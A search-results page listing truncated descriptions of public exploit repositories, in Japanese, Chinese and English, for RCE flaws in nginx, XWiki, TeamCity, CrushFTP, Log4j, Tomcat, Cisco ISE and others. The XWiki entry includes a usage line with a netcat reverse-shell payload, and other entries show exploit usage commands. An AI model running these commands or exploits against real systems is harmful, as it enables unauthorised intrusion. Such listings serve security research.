104 matches found
nGixshell
nGixShell は nginx の CVE スキャナー兼 RCE エクスプロイトフレームワークです。CVE-2026-42945 （F5/NVD による CVSS 3.1 8.1 HIGH ）— ngxhttprewritemodule におけるヒープバッファオーバーフロー — の概念実証と、64 件の nginx CVE をカバーするスキャナーを搭載しています。自動 HTTP プローブ、フィンガープリンティング、WAF 検出/バイパス、Web セキュリティ監査、レポート生成を備えています。 外部依存ゼロ。Pure Python 3 標準ライブラリのみ。...
teamcity-exploit-cve-2023-42793
TeamCity エクスプロイト Cve 2023 42793 cve-2023-42793 の脆弱性を悪用するための簡単なスクリプトです。このエクスプロイトに関する追加の参考資料はこちら: https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793 https://www.cnblogs.com/LittleHann/p/17843271.html このスクリプトは、RCE 脆弱性をトリガーした後に "params"...
CVE-2025-24893
CVE-2025-24893 XWiki の 15.10.11、16.4.1、16.5.0RC1 より前のバージョンに対するリモートコード実行エクスプロイト。 使用方法 $ python3 CVE-2025-24893.py -t 'http://example.com:8080' -c 'busybox nc 10.10.10.10 9001 -e /bin/bash' 倫理的な目的にのみ使用してください :...
htattack
htattack.py RCE（CVE-2017-0199）を悪用したRTF文書用のエクスプロイト実装です。 動画（スペイン語）： https://www.youtube.com/watch?v=0lDvclMrymM 使用方法： python htattack.py -u...
CVE-2023-43177
CVE-2023-43177 CrushFTP = 10.5.1 リモートコード実行 このリポジトリは、研究の過程で開発された概念実証（PoC）のRCEエクスプロイトを保持しています。...
L4sh
Log4Shell RCE エクスプロイト 完全に独立したエクスプロイトであり、サードパーティ製バイナリは一切不要です。 このエクスプロイトは、X-Forwarding , Server-IP , User-Agent など、ログに記録される可能性のあるすべてのHTTPヘッダーにペイロードを散布します。 使用方法 python main.py -i lhost -u http://target:targetport -c "commandtoexecute" -p lhttpport -l lldapport 必要条件 java-8-openjdk pip install -r...
RCE-Exploit-Framework
RCE-Exploit-Framework このフレームワークは、ペネトレーションテスターや開発者がリモートコード実行（RCE）エクスプロイトの仕組みを理解するための支援を目的としています。 特徴 ペイロード生成部 : Python、Bash、PHPに基づくカスタムペイロードの作成をサポートします。 エクスプロイト実行部 : HTTP POSTまたはGETを介してターゲットにペイロードを配信します。 リバースシェルリスナー : リバースシェル接続を受信するためのモジュールです。 ログ出力 : 分析のためのエクスプロイト活動のログを保存します。 使用方法 1...
CVE-2024-51567-RCE-EXPLOIT
CVE-2024-51567-RCE-EXPLOIT cbyerpanel rce エクスプロイト...
CVE-2025-64512_PoC
CVE-2025-64512 — pdfminer.six RCE 漏洞利用 Python 3，仅使用标准库 （无需 pip 安装）。仅供授权安全测试和 CTF 使用——您有责任遵守法律以及您所参与项目的 交战规则。 | ---|--- CVE| CVE-2025-64512 受影响| pdfminer.six .pickle.gz）形式打包在自身的包内。 看看 CMap 是如何加载的（pdfminer/cmapdb.py，20251107 之前的所有版本）： @classmethod def loaddatacls, name: str - Any: name =...
h2database-rce-poc
H2 Console RCE Exploit Toolkit Vulnerability exploitation scr...
Exploit for Path Traversal in Vmware Cloud_Foundation
CTT-enhanced-VMware-vCenter Looking at current high-impact vul...
SweetRice-CMS-1.5.1-RCE-Exploit
SweetRice CMS 1.5.1 RCE Exploit Overview SweetRice CMS 1.5...
EUVD-2020-0163
Malware in sbrugna...
EUVD-2021-16090
Malware in sbrugna...
EUVD-2020-0162
Malware in sbrugna...
CVE-2014-125115 Pandora FMS ≤ 5.0 SP2 Default Credential SQL Injection RCE
An unauthenticated SQL injection vulnerability exists in Pandora FMS version 5.0 SP2 and earlier. The mobile/index.php endpoint fails to properly sanitize user input in the loginhashdata parameter, allowing attackers to extract administrator credentials or active session tokens via crafted...
Exploit for Deserialization of Untrusted Data in Apache Tomcat
CVE-2025-24813 Apache Tomcat RCE Exploit PoC This repository...
Exploit for Injection in Cisco Identity_Services_Engine
CVE-2025-20281-2-Cisco-ISE-RCE Unauthenticated Python PoC for...